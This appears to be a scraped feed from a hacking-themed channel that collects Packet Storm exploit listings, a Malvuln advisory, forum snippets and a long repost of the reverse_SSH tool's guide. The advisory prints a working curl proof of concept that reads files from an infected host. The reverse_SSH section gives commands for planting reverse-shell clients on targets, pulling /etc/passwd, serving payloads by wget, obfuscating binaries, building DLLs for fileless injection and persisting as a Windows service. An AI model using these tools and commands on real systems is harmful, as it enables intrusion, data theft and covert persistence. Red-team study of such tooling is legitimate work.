Exploit Collector
Windows Kernel Long Registry Key / Value Out-Of-Bounds Read

https://2.bp.blogspot.com/-LETyKySuDgQ/WWlvb4o-z5I/AAAAAAAAIPU/5gCHtKhwhLoet_fHEL-XnPuLlDk7q9atQCLcBGAs/s1600/h76.png
The Windows kernel suffers from out-of-bounds reads and other issues when operating on long registry key and value names.

SHA-256 | 8b59c6140909e13954c81f8ebbddfeb70a1e3eaf5675031e13f783c0db187379

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
HEUR:Trojan.MSIL.Agent.gen MVID-2022-0654 Information Disclosure

https://4.bp.blogspot.com/-JipZY3hUF7s/WWlu7l1ccBI/AAAAAAAAIJc/HAISYb4KBsQdeIf6OzzYRuXiYaIkpQnmACLcBGAs/s1600/h110.png
HEUR:Trojan.MSIL.Agent.gen malware suffers from an information disclosure vulnerability.

SHA-256 | e2541968fed4764deda9f626a5dd6d150f8556edd06d7b191deae236b82a62c2

Download
Discovery / credits: Malvuln (John Page aka hyp3rlinx) (c) 2022
Original source: https://malvuln.com/advisory/bc2ccf92bea475f828dcdcb1c8f6cc92.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: HEUR:Trojan.MSIL.Agent.gen
Vulnerability: Information Disclosure
Description: the malware runs an HTTP service on port 19334. Attackers who can reach an infected host can make HTTP GET requests to download and or stat arbitrary files using forced browsing.
Family: Agent
Type: PE64
MD5: bc2ccf92bea475f828dcdcb1c8f6cc92
Vuln ID: MVID-2022-0654
Disclosure: 11/09/2022
Exploit/PoC:
C:\>curl "http://192.168.18.125:19334/c:/Windows/system.ini" -v
Trying 192.168.18.125:19334...
Connected to 192.168.18.125 (192.168.18.125) port 19334 (#0)
GET /c:/Windows/system.ini HTTP/1.1
Host: 192.168.18.125:19334
User-Agent: curl/7.83.1
Accept: */*

* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
HTTP/1.0 200 OK
content-encoding: utf8
content-type: application/octet-stream
date: Tue, 08 Nov 2022 23:11:55 GMT
last-modified: Sat, 16 Jul 2016 07:45:35 GMT
content-disposition: attachment; filename*=UTF-8''system.ini; filename="system.ini"

; for 16-bit app support
[386Enh]
woafont=dosapp.fon
EGA80WOA.FON=EGA80WOA.FON
EGA40WOA.FON=EGA40WOA.FON
CGA80WOA.FON=CGA80WOA.FON
CGA40WOA.FON=CGA40WOA.FON

[drivers]
wave=mmdrv.dll
timer=timer.drv

[mci]
* Closing connection 0
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Windows Kernel Long Registry Path Memory Corruption

https://2.bp.blogspot.com/-209TE5VbJR0/WWlvlKjkdxI/AAAAAAAAIQ8/gHk0ahoua8cqyTuIh5dYs6hAVa_ekYeoACLcBGAs/s1600/hack_img.png
The Windows kernel suffers from multiple memory corruption vulnerabilities when operating on very long registry paths.

SHA-256 | 98287a2f682dd844bcaa8bbc51f70cb0d694e997a42fcb83f27b010fb379d61d

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Backdoor.Win32.Aphexdoor.LiteSock MVID-2022-0653 Buffer Overflow

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Chrome password_manager::WellKnownChangePasswordState::SetChangePasswordResponseCode Use-After-Free

https://3.bp.blogspot.com/-w74A7gxi0bY/WWlvD06cX8I/AAAAAAAAIK4/fcu0jWNFLhIrvrv6B2He7QdGvtDQ7X4rQCLcBGAs/s1600/h131.png
Chrome suffers from a password_manager::WellKnownChangePasswordState::SetChangePasswordResponseCode heap use-after-free vulnerability.

SHA-256 | 95f6fb186156d8852bfb88cde51b59609bb9e1bb18fedd24876a32ee97f9a6fa

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

content discovery usage and tools with real example for bug bounty(part 1)
https://medium.com/@ziadbahaa91/content-discovery-usage-and-tools-with-real-example-for-bug-bounty-part-1-d8fd18394bde?source=rss------bug_bounty-5

___________________________
@hacking_Attack
@Hacking_Video

Hello hackers today we will talk about the interesting and useful topic for bug hunters and penetration testers this topic is about how to…Continue reading on Medium » (https://medium.com/@ziadbahaa91/content-discovery-usage-and-tools-with-real-example-for-bug-bounty-part-1-d8fd18394bde?source=rss------bug_bounty-5)

___________________________
@hacking_Attack
@Hacking_Video

My Recon Tools and Methodology.

Hey guys! What’s Up!? Hope you all are doing great! Here I’m Back with another blog!! I know I am late, and writing this after a very long…Continue reading on Medium »
Read more...

content discovery usage and tools with real example for bug bounty(part 1)

Hello hackers today we will talk about the interesting and useful topic for bug hunters and penetration testers this topic is about how to…Continue reading on Medium »
Read more...

hacking: security in practice
MOU vs SLA?

I've Googled this plenty but am still having trouble understanding the major differences. An SLA is a formal written agreement detailing the services to be provided and conditions for those services as well as termination of the contract. The details will go somewhat indepth but stop where SOW will begin.

The MOU is a surface and non official agreement of what both parties will provide to eachother, signifying they understand what's to come in terms of official contracts. I'm having trouble differentiating the two well enough because they both go over the services to be provided. Can someone help me out?

submitted by /u/idkbrololwtf
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Kali Linux Tutorials
Reverse_SSH : SSH Based Reverse Shell

Want to use SSH for reverse shells? Now you can using reverse_SSH.

* Manage and connect to reverse shells with native SSH syntax
* Dynamic, local and remote forwarding
* Native SCP and SFTP implementations for retrieving files from your targets
* Full windows shell
* Mutual client & server authentication to create high trust control channels
And more! SetupDocker:
docker run -p3232:2222 -e EXTERNAL_ADDRESS=Running# copy client to your target then connect it to the server
./client your.rssh.server.com:3232

# Get help text
ssh your.rssh.server.com -p 3232 help

# See clients
ssh your.rssh.server.com -p 3232 ls -t

Targets
+------------------------------------------+------------+-------------+
| ID | Hostname | IP Address |
+------------------------------------------+------------+-------------+
| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |
+------------------------------------------+------------+-------------+


# Connect to full shell
ssh -J your.rssh.server.com:3232 0f6ffecb15d75574e5e955e014e0546f6e2851ac

# Or using hostname

ssh -J your.rssh.server.com:3232 root.wombo Setup InstructionsNOTE: reverse_ssh requires Go 1.17 or higher. Please check you have at least this version via go versionThe simplest build command is just:
make
Make will build both the clientand serverbinaries. It will also generate a private key for the client, and copy the corresponding public key to the authorized_controllee_keysfile to enable the reverse shell to connect.

Golang allows your to effortlessly cross compile, the following is an example for building windows:
GOOS=windows GOARCH=amd64 make client # will create client.exe
You will need to create an authorized_keysfile much like the ssh http://man.he.net/man5/authorized_keys, this contains your public key. This will allow you to connect to the RSSH server.

Alternatively, you can use the –authorizedkeys flag to point to a file.
cp ~/.ssh/id_ed25519.pub authorized_keys
./server 0.0.0.0:3232 #Set the server to listen on port 3232
Put the client binary on whatever you want to control, then connect to the server.
./client your.rssh.server.com:3232
You can then see what reverse shells have connected to you using ls:
ssh your.rssh.server.com -p 3232 ls -t
Targets
+------------------------------------------+------------+-------------+
| ID | Hostname | IP Address |
+------------------------------------------+------------+-------------+
| 0f6ffecb15d75574e5e955e014e0546f6e2851ac | root.wombo | [::1]:45150 |
+------------------------------------------+------------+-------------+
Then typical ssh commands work, just specify your rssh server as a jump host.
# Connect to full shell
ssh -J your.rssh.server.com:3232 root.wombo

# Run a command without pty
ssh -J your.rssh.server.com:3232 root.wombo help

# Start remote forward
ssh -R 1234:localhost:1234 -J your.rssh.server.com:3232 root.wombo

# Start dynamic forward
ssh -D 9050 -J your.rssh.server.com:3232 root.wombo

# SCP
scp -J your.rssh.server.com:3232 root.wombo:/etc/passwd .

#SFTP
sftp -J your.rssh.server.com:3232 root.wombo:/etc/passwd . Fancy FeaturesDefault ServerSpecify a default server at build time:
$ RSSH_HOMESERVER=your.rssh.server.com:3232 make

# Will connect to your.rssh.server.com:3232, even though no destination is specified
$ bin/client

# Behavi[...]

___________________________
@hacking_Attack
@Hacking_Video

our is otherwise normal; will connect to the supplied host, e.g example.com:3232
$ bin/client example.com:3232 Built in Web ServerThe RSSH server can also run an HTTP server on the same port as the RSSH server listener which serves client binaries. The server must be placed in the project bin/folder, as it needs to find the client source.
./server --webserver :3232

# Generate an unnamed link
ssh your.rssh.server.com -p 3232

catcher$ link -h

link [OPTIONS]
Link will compile a client and serve the resulting binary on a link which is returned.
This requires the web server component has been enabled.
-t Set number of minutes link exists for (default is one time use)
-s Set homeserver address, defaults to server --external_address if set, or server listen address if not.
-l List currently active download links
-r Remove download link
--goos Set the target build operating system (default to runtime GOOS)
--goarch Set the target build architecture (default to runtime GOARCH)
--name Set link name
--shared-object Generate shared object file
--fingerprint Set RSSH server fingerprint will default to server public key
--upx Use upx to compress the final binary (requires upx to be installed)
--garble Use garble to obfuscate the binary (requires garble to be installed)

# Build a client binary
catcher$ link --name test
http://your.rssh.server.com:3232/test
Then you can download it as follows:
wget http://your.rssh.server.com:3232/test
chmod +x test
./test Windows DLL GenerationYou can compile the client as a DLL to be loaded with something like Invoke-ReflectivePEInjection. This will need a cross compiler if you are doing this on linux, use mingw-w64-gcc.
CC=x86_64-w64-mingw32-gcc GOOS=windows RSSH_HOMESERVER=192.168.1.1:2343 make client_dll
When the RSSH server has the webserver enabled you can also compile it with the link command:
./server --webserver :3232

# Generate an unnamed link
ssh your.rssh.server.com -p 3232

catcher$ link --name windows_dll --shared-object --goos windows
http://your.rssh.server.com:3232/windows_dll
Which is useful when you want to do fileless injection of the rssh client. SSH SubsystemThe SSH ecosystem allowsy out define and call subsystems with the -sflag. In RSSH this is repurposed to provide special commands for platforms. AlllistLists avaiable subsystem sftp: Runs the sftp handler to transfer files Linuxsetgid: Attempt to change group setuid: Attempt to change user Windowsservice: Installs or removes the rssh binary as a windows service, requires administrative rights

e.g
# Install the rssh binary as a service (windows only)
ssh -J your.rssh.server.com:3232 test-pc.user.test-pc -s service --install Windows Service IntegrationThe client RSSH binary supports being run within a windows service and wont time out after 10 seconds. This is great for creating persistent management services. Full Windows Shell SupportMost reverse shells for windows struggle to generate a shell environment that supports resizing, copying and pasting and all the other features that we’re all very fond of. This project uses conpty on newer versions of windows, and the winpty library (which self unpacks) on older versions. This should mean that almost all versions of windows will net you a nice shell. WebhooksThe RSSH server can send out raw HTTP requests set using the webhookcommand from the terminal interface.

First enable a webhook:
$ ssh your.rssh.server.com -p 3232
catcher$ webhook --on http://localhost:8080/
Then disconnect, or connect a client, this will when issue a POSTrequest with the following format.
$ nc -l -p 8080
POST /rssh_webhook HTTP/1.1
Host: localhost:8080
User-Agent: Go-http-client/1.1
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip

{"Status":"connected","ID":"ae92b6535a30566cbae122ebb2a5e754dd58f0ca","IP":"[:[...]

___________________________
@hacking_Attack
@Hacking_Video

:1]:52608","HostName":"user.computer","Timestamp":"2022-06-12T12:23:40.626775318+12:00"}% TuntapRSSH and SSH support creating tuntap interfaces that allow you to route traffic and create pseudo-VPN. It does take a bit more setup than just a local or remote forward (-L, -R), but in this mode you can send UDPand ICMP.

First set up a tun (layer 3) device on your local machine.
sudo ip tuntap add dev tun0 mode tun
sudo ip addr add 172.16.0.1/24 dev tun0
sudo ip link set dev tun0 up

# This will defaultly route all non-local network traffic through the tunnel
sudo ip route add 0.0.0.0/0 via 172.16.0.1 dev tun0
Install a client on a remote machine, this will not work if you have your RSSH client on the same host as your tun device.
ssh -J your.rssh.server.com:3232 user.wombo -w 0:any
This has some limitations, it is only able to send UDP/TCP/ICMP, and not arbitrary layer 3 protocols. ICMP is best effort and may use the remote hosts pingtool, as ICMP sockets are privileged on most machines. This also does not support tapdevices, e.g layer 2 VPN, as this would require administrative access. HelpGarbleTo enable the --garbleflag in the linkcommand you must install garble, a system for obfuscating golang binaries. However the @latestrelease has a bug that causes panics with generic code.
If you are installing this manually use the following:
go install mvdan.cc/garble@f9d9919
Then make sure that the go/bin/directory is in your $PATHPermission denied (publickey).Unfortunately the golang crypto/sshupstream library does not support rsa-sha2-*algorithms, and work is currently ongoing here: golang/go#49952

So until that work is completed, you will have to generate a different (non-rsa) key. I recommend the following:
ssh-keygen -t ed25519 Windows and SFTPDue to the limitations of SFTP (or rather the library Im using for it). Paths need a little more effort on windows.
sftp -r -J your.rssh.server.com:3232 test-pc.user.test-pc:'/C:/Windows/system32'
Note the /before the starting character. Foreground vs Background (Important note about clients)By default, clients will run in the background. When started they will execute a new background instance (thus forking a new child process) and then the parent process will exit. If the fork is successful the message “Ending parent” will be printed.

This has one important ramification: once in the background a client will not show any output, including connection failure messages. If you need to debug your client, use the --foregroundflag. Click Here To Download

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
WHY YOUR HACKING QUESTIONS ARE FRUSTRATING!!! - by LiveOverflow

https://external-preview.redd.it/973jCIrDMlb3xJLfEPVNx7VqAfaP4eQv41Os5YAaiLE.jpg?width=320&crop=smart&auto=webp&s=20c37cdf1ee3d2f9c6baaa0671bd3b53f8893433 submitted by /u/misconfig_exe
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Threat intelligence presented at CyberWarCon 2022 Summary
https://www.reddit.com/r/redteamsec/comments/yrlo4e/threat_intelligence_presented_at_cyberwarcon_2022/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/CyberWarCon2022) [comments] (https://www.reddit.com/r/redteamsec/comments/yrlo4e/threat_intelligence_presented_at_cyberwarcon_2022/)

___________________________
@hacking_Attack
@Hacking_Video